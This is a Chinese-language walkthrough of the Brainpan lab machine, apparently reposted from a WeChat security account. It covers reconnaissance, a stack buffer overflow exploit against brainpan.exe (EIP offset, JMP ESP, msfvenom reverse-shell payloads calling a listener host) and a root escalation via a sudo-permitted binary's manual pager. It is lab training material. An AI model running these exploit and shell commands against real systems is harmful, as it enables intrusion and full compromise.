Brainpan从缓冲区溢出到提权

admin 2025年2月8日00:51:29评论9 views字数 2286阅读7分37秒阅读模式

信息收集

扫描网段

nmap -sP 192.168.20.0/24
Brainpan从缓冲区溢出到提权

输出结果

Nmap scan report for 192.168.20.128

扫描端口

nmap -sV -p- 192.168.20.128
Brainpan从缓冲区溢出到提权

输出结果

9999/tcp open abyss?

10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)

访问Web

http://192.168.20.128:9999/
Brainpan从缓冲区溢出到提权

输出结果

一个登录系统,浏览器无法交互

连接端口

nc 192.168.20.128 9999
Brainpan从缓冲区溢出到提权

输出结果

交互成功,需输入密码

再次访问Web

http://192.168.20.128:10000/

无可用信息

Brainpan从缓冲区溢出到提权

目录枚举

dirb http://192.168.20.128:10000/
Brainpan从缓冲区溢出到提权

输出结果

http://192.168.20.128:10000/bin (CODE:301|SIZE:0)

http://192.168.20.128:10000/index.html (CODE:200|SIZE:215)

访问bin目录

http://192.168.20.128:10000/bin/

跳转,发现brainpan.exe程序

Brainpan从缓冲区溢出到提权

缓冲溢出

下载程序到windows10 32位虚拟机运行程序

运行程序

运行brainpan.exe

Brainpan从缓冲区溢出到提权

运行Immunity Debugger调试器

导入进程

File > Attach > "brainpan"进程 > Attach > 运行
Brainpan从缓冲区溢出到提权

漏洞检测

python生成脏数据

print('A' * 600)
Brainpan从缓冲区溢出到提权

kali使用nc连接win10

nc 192.168.20.131 9999
Brainpan从缓冲区溢出到提权

输出结果

注入脏数据,程序崩溃

查看调试器

EIP寄存器被覆盖

Brainpan从缓冲区溢出到提权

定位eip寄存器

kali生成随机脏数据

msf-pattern_create -l 600
Brainpan从缓冲区溢出到提权

重启程序,再次注入

Brainpan从缓冲区溢出到提权
Brainpan从缓冲区溢出到提权

输出结果

覆盖EIP:35724134

计算偏移量

msf-pattern_offset -l 600 -p 35724134

在524处开始,对应4Ar5

Brainpan从缓冲区溢出到提权

针对EIP使用python生成脏数据

print('A' * 524 + 'B' * 4 + 'C' * 22)

524个A,4个B,22个C

Brainpan从缓冲区溢出到提权

重启程序,再次注入

Brainpan从缓冲区溢出到提权

准确找到EIP位置,从524开始到528

Brainpan从缓冲区溢出到提权

测试能溢出多少数据

计划1000字符

print('A' * 524 + 'B' * 4 + 'C' * 72 + 'D' * 200 + 'E' * 200)
Brainpan从缓冲区溢出到提权

重启程序,再次注入

Brainpan从缓冲区溢出到提权
Brainpan从缓冲区溢出到提权

输出结果

还可以注入472字节

识别坏字节

使用python脚本,注入坏字符

Brainpan从缓冲区溢出到提权

点击ESP的值>右键>Follow in Dump

Brainpan从缓冲区溢出到提权

输出结果

从01到FF连续,无坏字符

定位JMP ESP

kali转换十六进制

msf-nasm_shell
jmp esp
FFE4
Brainpan从缓冲区溢出到提权

使用mona搜索整个程序的进程

先列出当前加载的所有模块,找所有安全机制都没有启动的模块,就是全为False

!mona modules
Brainpan从缓冲区溢出到提权

输出结果:brainpan.exe

使用mona的find在brainpan.exe查找十六进制FFE4

!mona find -s "xffxe4" -m "brainpan.exe"

输出结果:0x311712f3

Brainpan从缓冲区溢出到提权

CPU读取寄存器地址是倒着读的,所以写入的时候也要倒着写

在寄存器是从顶往底运行,十六进制要翻转

xf3x12x17x31

构建payload

kali使用msf生成反弹shell

使用-b参数过滤掉坏字符

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" EXITFUNC=thread
Brainpan从缓冲区溢出到提权

监听端口

nc -lnvvp 8888
Brainpan从缓冲区溢出到提权

修改脚本,运行脚本

反弹shell成功

Brainpan从缓冲区溢出到提权
Brainpan从缓冲区溢出到提权

将exp运行到靶机

收集系统类型

nmap -O 192.168.20.128
Brainpan从缓冲区溢出到提权

输出结果

Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3

OS details: Linux 2.6.32 - 3.10

kali使用msf生成反弹shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" -e x86/shikata_ga_nai
Brainpan从缓冲区溢出到提权

监听端口

nc -nlvvp 8888
Brainpan从缓冲区溢出到提权

修改脚本,运行脚本

反弹shell成功

Brainpan从缓冲区溢出到提权
Brainpan从缓冲区溢出到提权

提权

提高交互性

python -c "import pty;pty.spawn('/bin/bash')"
Brainpan从缓冲区溢出到提权

查看sudo

sudo -l

输出结果

(root) NOPASSWD: /home/anansi/bin/anansi_util

免密使用

Brainpan从缓冲区溢出到提权

运行sudo命令

sudo /home/anansi/bin/anansi_util

输出结果

需要添加参数

network

proclist

manual [command]

Brainpan从缓冲区溢出到提权

添加参数运行

sudo /home/anansi/bin/anansi_util network

无可利用
sudo /home/anansi/bin/anansi_util proclist

无可利用
sudo /home/anansi/bin/anansi_util manual

需添加参数
Brainpan从缓冲区溢出到提权

添加参数

sudo /home/anansi/bin/anansi_util manual ls
Brainpan从缓冲区溢出到提权

此时应该是以root身份读取ls的手册,那么如果在此处启动一个bash,应该也是root的session

!/bin/bash
Brainpan从缓冲区溢出到提权

提权成功

原文始发于微信公众号(泷羽Sec-Ceo):Brainpan从缓冲区溢出到提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日00:51:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Brainpan从缓冲区溢出到提权http://cn-sec.com/archives/3704693.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息